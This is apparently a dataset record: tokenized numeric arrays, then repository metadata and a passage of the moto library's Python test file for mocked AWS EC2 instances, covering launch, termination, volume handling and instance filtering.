32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 4590, 367, 8697, 7009, 687, 298, 5876, 2, 6602, 315, 12748, 4621, 14, 199, 624, 199, 199, 646, 747, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1160, 14, 1095, 492, 27193, 199, 504, 1639, 14, 1160, 14, 3422, 492, 3523, 5455, 199, 504, 1639, 14, 1208, 423, 736, 492, 5048, 63, 904, 199, 199, 3, 2494, 1536, 282, 2581, 402, 314, 12748, 6602, 370, 2754, 14, 199, 7885, 63, 1160, 63, 3220, 275, 1052, 421, 199, 533, 5458, 5455, 8, 1563, 5455, 304, 272, 365, 63, 14418, 275, 715, 339, 347, 664, 63, 1160, 63, 4553, 8, 277, 12, 1978, 63, 354, 304, 267, 5821, 275, 1978, 63, 354, 14, 1294, 8, 736, 14, 515, 14, 4127, 12, 499, 9, 267, 340, 822, 8, 5609, 9, 508, 650, 26, 288, 11847, 63, 354, 12, 12748, 63, 354, 12, 15748, 275, 5821, 288, 790, 275, 747, 14, 515, 14, 904, 8, 6760, 63, 354, 12, 12748, 63, 354, 9, 288, 340, 790, 315, 12748, 63, 1160, 63, 3220, 26, 355, 1978, 63, 694, 275, 12748, 63, 1160, 63, 3220, 59, 498, 61, 355, 862, 26, 490, 1995, 5048, 63, 904, 8, 1160, 63, 694, 12, 12748, 63, 354, 12, 15748, 9, 355, 871, 18965, 26, 490, 327, 710, 1978, 2935, 536, 17373, 1133, 1686, 9094, 13, 24, 14, 490, 746, 355, 871, 1722, 26, 490, 327, 710, 16538, 931, 1990, 16180, 9682, 402, 1978, 63, 694, 14, 490, 986, 339, 347, 2248, 63, 1160, 63, 1365, 8, 277, 12, 1978, 63, 354, 12, 1978, 63, 3220, 29, 403, 304, 267, 367, 931, 315, 291, 14, 362, 63, 1160, 63, 4553, 8, 1160, 63, 354, 304, 288, 862, 26, 355, 570, 275, 1551, 8, 515, 9, 355, 862, 26, 490, 372, 334, 493, 14, 739, 1252, 2708, 8, 1751, 14, 3817, 63, 23969, 395, 931, 9, 355, 3753, 26, 490, 570, 14, 1600, 342, 288, 871, 5925, 26, 355, 986, 267, 746, 27193, 8, 1160, 63, 354, 9, 421, 199, 63, 3422, 275, 5458, 5455, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
william-richard/moto
tests/test_ec2/test_instances.py
1
62435
from __future__ import unicode_literals from botocore.exceptions import ClientError import pytest from unittest import SkipTest import base64 import ipaddress import six import boto import boto3 from boto.ec2.instance import Reservation, InstanceAttribute from boto.exception import EC2ResponseError from freezegun import freeze_time import sure # noqa from moto import mock_ec2_deprecated, mock_ec2, settings from tests import EXAMPLE_AMI_ID from tests.helpers import requires_boto_gte if six.PY2: decode_method = base64.decodestring else: decode_method = base64.decodebytes ################ Test Readme ############### def add_servers(ami_id, count): conn = boto.connect_ec2() for index in range(count): conn.run_instances(ami_id) @mock_ec2_deprecated def test_add_servers(): add_servers(EXAMPLE_AMI_ID, 2) conn = boto.connect_ec2() reservations = conn.get_all_reservations() assert len(reservations) == 2 instance1 = reservations[0].instances[0] assert instance1.image_id == EXAMPLE_AMI_ID ############################################ @freeze_time("2014-01-01 05:00:00") @mock_ec2_deprecated def test_instance_launch_and_terminate(): conn = boto.ec2.connect_to_region("us-east-1") with pytest.raises(EC2ResponseError) as ex: reservation = conn.run_instances(EXAMPLE_AMI_ID, dry_run=True) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the RunInstance operation: Request would have succeeded, but DryRun flag is set" ) reservation = conn.run_instances(EXAMPLE_AMI_ID) reservation.should.be.a(Reservation) reservation.instances.should.have.length_of(1) instance = reservation.instances[0] instance.state.should.equal("pending") reservations = conn.get_all_reservations() reservations.should.have.length_of(1) reservations[0].id.should.equal(reservation.id) instances = reservations[0].instances instances.should.have.length_of(1) instance = instances[0] instance.id.should.equal(instance.id) instance.state.should.equal("running") instance.launch_time.should.equal("2014-01-01T05:00:00.000Z") instance.vpc_id.shouldnt.equal(None) instance.placement.should.equal("us-east-1a") root_device_name = instance.root_device_name instance.block_device_mapping[root_device_name].status.should.equal("in-use") volume_id = instance.block_device_mapping[root_device_name].volume_id volume_id.should.match(r"vol-\w+") volume = conn.get_all_volumes(volume_ids=[volume_id])[0] volume.attach_data.instance_id.should.equal(instance.id) volume.status.should.equal("in-use") with pytest.raises(EC2ResponseError) as ex: conn.terminate_instances([instance.id], dry_run=True) ex.value.error_code.should.equal("DryRunOperation") ex.value.status.should.equal(400) ex.value.message.should.equal( "An error occurred (DryRunOperation) when calling the TerminateInstance operation: Request would have succeeded, but DryRun flag is set" ) conn.terminate_instances([instance.id]) reservations = conn.get_all_reservations() instance = reservations[0].instances[0] instance.state.should.equal("terminated") @mock_ec2 def test_instance_terminate_discard_volumes(): ec2_resource = boto3.resource("ec2", "us-west-1") result = ec2_resource.create_instances( ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1, BlockDeviceMappings=[ { "DeviceName": "/dev/sda1", "Ebs": {"VolumeSize": 50, "DeleteOnTermination": True}, } ], ) instance = result[0] instance_volume_ids = [] for volume in instance.volumes.all(): instance_volume_ids.append(volume.volume_id) instance.terminate() instance.wait_until_terminated() assert not list(ec2_resource.volumes.all()) @mock_ec2 def test_instance_terminate_keep_volumes_explicit(): ec2_resource = boto3.resource("ec2", "us-west-1") result = ec2_resource.create_instances( ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1, BlockDeviceMappings=[ { "DeviceName": "/dev/sda1", "Ebs": {"VolumeSize": 50, "DeleteOnTermination": False}, } ], ) instance = result[0] instance_volume_ids = [] for volume in instance.volumes.all(): instance_volume_ids.append(volume.volume_id) instance.terminate() instance.wait_until_terminated() assert len(list(ec2_resource.volumes.all())) == 1 @mock_ec2 def test_instance_terminate_keep_volumes_implicit(): ec2_resource = boto3.resource("ec2", "us-west-1") result = ec2_resource.create_instances( ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1, BlockDeviceMappings=[{"DeviceName": "/dev/sda1", "Ebs": {"VolumeSize": 50}}], ) instance = result[0] instance_volume_ids = [] for volume in instance.volumes.all(): instance_volume_ids.append(volume.volume_id) instance.terminate() instance.wait_until_terminated() assert len(instance_volume_ids) == 1 volume = ec2_resource.Volume(instance_volume_ids[0]) volume.state.should.equal("available") @mock_ec2 def test_instance_terminate_detach_volumes(): ec2_resource = boto3.resource("ec2", "us-west-1") result = ec2_resource.create_instances( ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1, BlockDeviceMappings=[ {"DeviceName": "/dev/sda1", "Ebs": {"VolumeSize": 50}}, {"DeviceName": "/dev/sda2", "Ebs": {"VolumeSize": 50}}, ], ) instance = result[0] for volume in instance.volumes.all(): response = instance.detach_volume(VolumeId=volume.volume_id) response["State"].should.equal("detaching") instance.terminate() instance.wait_until_terminated() assert len(list(ec2_resource.volumes.all())) == 2 @mock_ec2 def test_instance_detach_volume_wrong_path(): ec2_resource = boto3.resource("ec2", "us-west-1") result = ec2_resource.create_instances( ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1, BlockDeviceMappings=[{"DeviceName": "/dev/sda1", "Ebs": {"VolumeSize": 50}},], ) instance = result[0] for volume in instance.volumes.all(): with pytest.raises(ClientError) as ex: instance.detach_volume(VolumeId=volume.volume_id, Device="/dev/sdf") ex.value.response["Error"]["Code"].should.equal("InvalidAttachment.NotFound") ex.value.response["ResponseMetadata"]["HTTPStatusCode"].should.equal(400) ex.value.response["Error"]["Message"].should.equal( "The volume {0} is not attached to instance {1} as device {2}".format( volume.volume_id, instance.instance_id, "/dev/sdf" ) ) @mock_ec2_deprecated def test_terminate_empty_instances(): conn = boto.connect_ec2("the_key", "the_secret") conn.terminate_instances.when.called_with([]).should.throw(EC2ResponseError) @freeze_time("2014-01-01 05:00:00") @mock_ec2_deprecated def test_instance_attach_volume(): conn = boto.connect_ec2("the_key", "the_secret") reservation = conn.run_instances(EXAMPLE_AMI_ID) instance = reservation.instances[0] vol1 = conn.create_volume(size=36, zone=conn.region.name) vol1.attach(instance.id, "/dev/sda1") vol1.update() vol2 = conn.create_volume(size=65, zone=conn.region.name) vol2.attach(instance.id, "/dev/sdb1") vol2.update() vol3 = conn.create_volume(size=130, zone=conn.region.name) vol3.attach(instance.id, "/dev/sdc1") vol3.update() reservations = conn.get_all_reservations() instance = reservations[0].instances[0] instance.block_device_mapping.should.have.length_of(3) for v in conn.get_all_volumes( volume_ids=[instance.block_device_mapping["/dev/sdc1"].volume_id] ): v.attach_data.instance_id.should.equal(instance.id) # can do due to freeze_time decorator. v.attach_data.attach_time.should.equal(instance.launch_time) # can do due to freeze_time decorator. v.create_time.should.equal(instance.launch_time) v.region.name.should.equal(instance.region.name) v.status.should.equal("in-use") @mock_ec2_deprecated def test_get_instances_by_id(): conn = boto.connect_ec2() reservation = conn.run_instances(EXAMPLE_AMI_ID, min_count=2) instance1, instance2 = reservation.instances reservations = conn.get_all_reservations(instance_ids=[instance1.id]) reservations.should.have.length_of(1) reservation = reservations[0] reservation.instances.should.have.length_of(1) reservation.instances[0].id.should.equal(instance1.id) reservations = conn.get_all_reservations(instance_ids=[instance1.id, instance2.id]) reservations.should.have.length_of(1) reservation = reservations[0] reservation.instances.should.have.length_of(2) instance_ids = [instance.id for instance in reservation.instances] instance_ids.should.equal([instance1.id, instance2.id]) # Call get_all_reservations with a bad id should raise an error with pytest.raises(EC2ResponseError) as cm: conn.get_all_reservations(instance_ids=[instance1.id, "i-1234abcd"]) cm.value.code.should.equal("InvalidInstanceID.NotFound") cm.value.status.should.equal(400) cm.value.request_id.should_not.be.none @mock_ec2 def test_get_paginated_instances(): client = boto3.client("ec2", region_name="us-east-1") conn = boto3.resource("ec2", "us-east-1") for i in range(100): conn.create_instances(ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1) resp = client.describe_instances(MaxResults=50) reservations = resp["Reservations"] reservations.should.have.length_of(50) next_token = resp["NextToken"] next_token.should_not.be.none resp2 = client.describe_instances(NextToken=next_token) reservations.extend(resp2["Reservations"]) reservations.should.have.length_of(100) assert "NextToken" not in resp2.keys() @mock_ec2 def test_create_with_tags(): ec2 = boto3.client("ec2", region_name="us-west-2") instances = ec2.run_instances( ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1, InstanceType="t2.micro", TagSpecifications=[ { "ResourceType": "instance", "Tags": [ {"Key": "MY_TAG1", "Value": "MY_VALUE1"}, {"Key": "MY_TAG2", "Value": "MY_VALUE2"}, ], }, { "ResourceType": "instance", "Tags": [{"Key": "MY_TAG3", "Value": "MY_VALUE3"}], }, ], ) assert "Tags" in instances["Instances"][0] len(instances["Instances"][0]["Tags"]).should.equal(3) @mock_ec2_deprecated def test_get_instances_filtering_by_state(): conn = boto.connect_ec2() reservation = conn.run_instances(EXAMPLE_AMI_ID, min_count=3) instance1, instance2, instance3 = reservation.instances conn.terminate_instances([instance1.id]) reservations = conn.get_all_reservations(filters={"instance-state-name": "running"}) reservations.should.have.length_of(1) # Since we terminated instance1, only instance2 and instance3 should be # returned instance_ids = [instance.id for instance in reservations[0].instances] set(instance_ids).should.equal(set([instance2.id, instance3.id])) reservations = conn.get_all_reservations( [instance2.id], filters={"instance-state-name": "running"} ) reservations.should.have.length_of(1) instance_ids = [instance.id for instance in reservations[0].instances] instance_ids.should.equal([instance2.id]) reservations = conn.get_all_reservations( [instance2.id], filters={"instance-state-name": "terminated"} ) list(reservations).should.equal([]) # get_all_reservations should still return all 3 reservations = conn.get_all_reservations() reservations[0].instances.should.have.length_of(3) conn.get_all_reservations.when.called_with( filters={"not-implemented-filter": "foobar"} ).should.throw(NotImplementedError) @mock_ec2_deprecated def test_get_instances_filtering_by_instance_id(): conn = boto.connect_ec2() reservation = conn.run_instances(EXAMPLE_AMI_ID, min_count=3) instance1, instance2, instance3 = reservation.instances reservations = conn.get_all_reservations(filters={"instance-id": instance1.id}) # get_all_reservations should return just instance1 reservations[0].instances.should.have.length_of(1) reservations[0].instances[0].id.should.equal(instance1.id) reservations = conn.get_all_reservations( filters={"instance-id": [instance1.id, instance2.id]} ) # get_all_reservations should return two reservations[0].instances.should.have.length_of(2) reservations = conn.get_all_reservations(filters={"instance-id": "non-existing-id"}) reservations.should.have.length_of(0) @mock_ec2_deprecated def test_get_instances_filtering_by_instance_type(): conn = boto.connect_ec2() reservation1 = conn.run_instances(EXAMPLE_AMI_ID, instance_type="m1.small") instance1 = reservation1.instances[0] reservation2 = conn.run_instances(EXAMPLE_AMI_ID, instance_type="m1.small") instance2 = reservation2.instances[0] reservation3 = conn.run_instances(EXAMPLE_AMI_ID, instance_type="t1.micro") instance3 = reservation3.instances[0] reservations = conn.get_all_reservations(filters={"instance-type": "m1.small"}) # get_all_reservations should return instance1,2 reservations.should.have.length_of(2) reservations[0].instances.should.have.length_of(1) reservations[1].instances.should.have.length_of(1) instance_ids = [reservations[0].instances[0].id, reservations[1].instances[0].id] set(instance_ids).should.equal(set([instance1.id, instance2.id])) reservations = conn.get_all_reservations(filters={"instance-type": "t1.micro"}) # get_all_reservations should return one reservations.should.have.length_of(1) reservations[0].instances.should.have.length_of(1) reservations[0].instances[0].id.should.equal(instance3.id) reservations = conn.get_all_reservations( filters={"instance-type": ["t1.micro", "m1.small"]} ) reservations.should.have.length_of(3) reservations[0].instances.should.have.length_of(1) reservations[1].instances.should.have.length_of(1) reservations[2].instances.should.have.length_of(1) instance_ids = [ reservations[0].instances[0].id, reservations[1].instances[0].id, reservations[2].instances[0].id, ] set(instance_ids).should.equal(set([instance1.id, instance2.id, instance3.id])) reservations = conn.get_all_reservations(filters={"instance-type": "bogus"}) # bogus instance-type should return none reservations.should.have.length_of(0) @mock_ec2_deprecated def test_get_instances_filtering_by_reason_code(): conn = boto.connect_ec2() reservation = conn.run_instances(EXAMPLE_AMI_ID, min_count=3) instance1, instance2, instance3 = reservation.instances instance1.stop() instance2.terminate() reservations = conn.get_all_reservations( filters={"state-reason-code": "Client.UserInitiatedShutdown"} ) # get_all_reservations should return instance1 and instance2 reservations[0].instances.should.have.length_of(2) set([instance1.id, instance2.id]).should.equal( set([i.id for i in reservations[0].instances]) ) reservations = conn.get_all_reservations(filters={"state-reason-code": ""}) # get_all_reservations should return instance 3 reservations[0].instances.should.have.length_of(1) reservations[0].instances[0].id.should.equal(instance3.id) @mock_ec2_deprecated def test_get_instances_filtering_by_source_dest_check(): conn = boto.connect_ec2() reservation = conn.run_instances(EXAMPLE_AMI_ID, min_count=2) instance1, instance2 = reservation.instances conn.modify_instance_attribute( instance1.id, attribute="sourceDestCheck", value=False ) source_dest_check_false = conn.get_all_reservations( filters={"source-dest-check": "false"} ) source_dest_check_true = conn.get_all_reservations( filters={"source-dest-check": "true"} ) source_dest_check_false[0].instances.should.have.length_of(1) source_dest_check_false[0].instances[0].id.should.equal(instance1.id) source_dest_check_true[0].instances.should.have.length_of(1) source_dest_check_true[0].instances[0].id.should.equal(instance2.id) @mock_ec2_deprecated def test_get_instances_filtering_by_vpc_id(): conn = boto.connect_vpc("the_key", "the_secret") vpc1 = conn.create_vpc("10.0.0.0/16") subnet1 = conn.create_subnet(vpc1.id, "10.0.0.0/27") reservation1 = conn.run_instances(EXAMPLE_AMI_ID, min_count=1, subnet_id=subnet1.id) instance1 = reservation1.instances[0] vpc2 = conn.create_vpc("10.1.0.0/16") subnet2 = conn.create_subnet(vpc2.id, "10.1.0.0/27") reservation2 = conn.run_instances(EXAMPLE_AMI_ID, min_count=1, subnet_id=subnet2.id) instance2 = reservation2.instances[0] reservations1 = conn.get_all_reservations(filters={"vpc-id": vpc1.id}) reservations1.should.have.length_of(1) reservations1[0].instances.should.have.length_of(1) reservations1[0].instances[0].id.should.equal(instance1.id) reservations1[0].instances[0].vpc_id.should.equal(vpc1.id) reservations1[0].instances[0].subnet_id.should.equal(subnet1.id) reservations2 = conn.get_all_reservations(filters={"vpc-id": vpc2.id}) reservations2.should.have.length_of(1) reservations2[0].instances.should.have.length_of(1) reservations2[0].instances[0].id.should.equal(instance2.id) reservations2[0].instances[0].vpc_id.should.equal(vpc2.id) reservations2[0].instances[0].subnet_id.should.equal(subnet2.id) @mock_ec2_deprecated def test_get_instances_filtering_by_architecture(): conn = boto.connect_ec2() reservation = conn.run_instances(EXAMPLE_AMI_ID, min_count=1) instance = reservation.instances reservations = conn.get_all_reservations(filters={"architecture": "x86_64"}) # get_all_reservations should return the instance reservations[0].instances.should.have.length_of(1) @mock_ec2 def test_get_instances_filtering_by_image_id(): client = boto3.client("ec2", region_name="us-east-1") conn = boto3.resource("ec2", "us-east-1") conn.create_instances(ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1) reservations = client.describe_instances( Filters=[{"Name": "image-id", "Values": [EXAMPLE_AMI_ID]}] )["Reservations"] reservations[0]["Instances"].should.have.length_of(1) @mock_ec2 def test_get_instances_filtering_by_account_id(): client = boto3.client("ec2", region_name="us-east-1") conn = boto3.resource("ec2", "us-east-1") conn.create_instances(ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1) reservations = client.describe_instances( Filters=[{"Name": "owner-id", "Values": ["123456789012"]}] )["Reservations"] reservations[0]["Instances"].should.have.length_of(1) @mock_ec2 def test_get_instances_filtering_by_private_dns(): client = boto3.client("ec2", region_name="us-east-1") conn = boto3.resource("ec2", "us-east-1") conn.create_instances( ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1, PrivateIpAddress="10.0.0.1" ) reservations = client.describe_instances( Filters=[{"Name": "private-dns-name", "Values": ["ip-10-0-0-1.ec2.internal"]}] )["Reservations"] reservations[0]["Instances"].should.have.length_of(1) @mock_ec2 def test_get_instances_filtering_by_ni_private_dns(): client = boto3.client("ec2", region_name="us-west-2") conn = boto3.resource("ec2", "us-west-2") conn.create_instances( ImageId=EXAMPLE_AMI_ID, MinCount=1, MaxCount=1, PrivateIpAddress="10.0.0.1" ) reservations = client.describe_instances( Filters=[ { "Name": "network-interface.private-dns-name", "Values": ["ip-10-0-0-1.us-west-2.compute.internal"], } ] )["Reservations"] reservations[0]["Instances"].should.have.length_of(1) @mock_ec2 def test_get_instances_filtering_by_instance_group_name(): client = 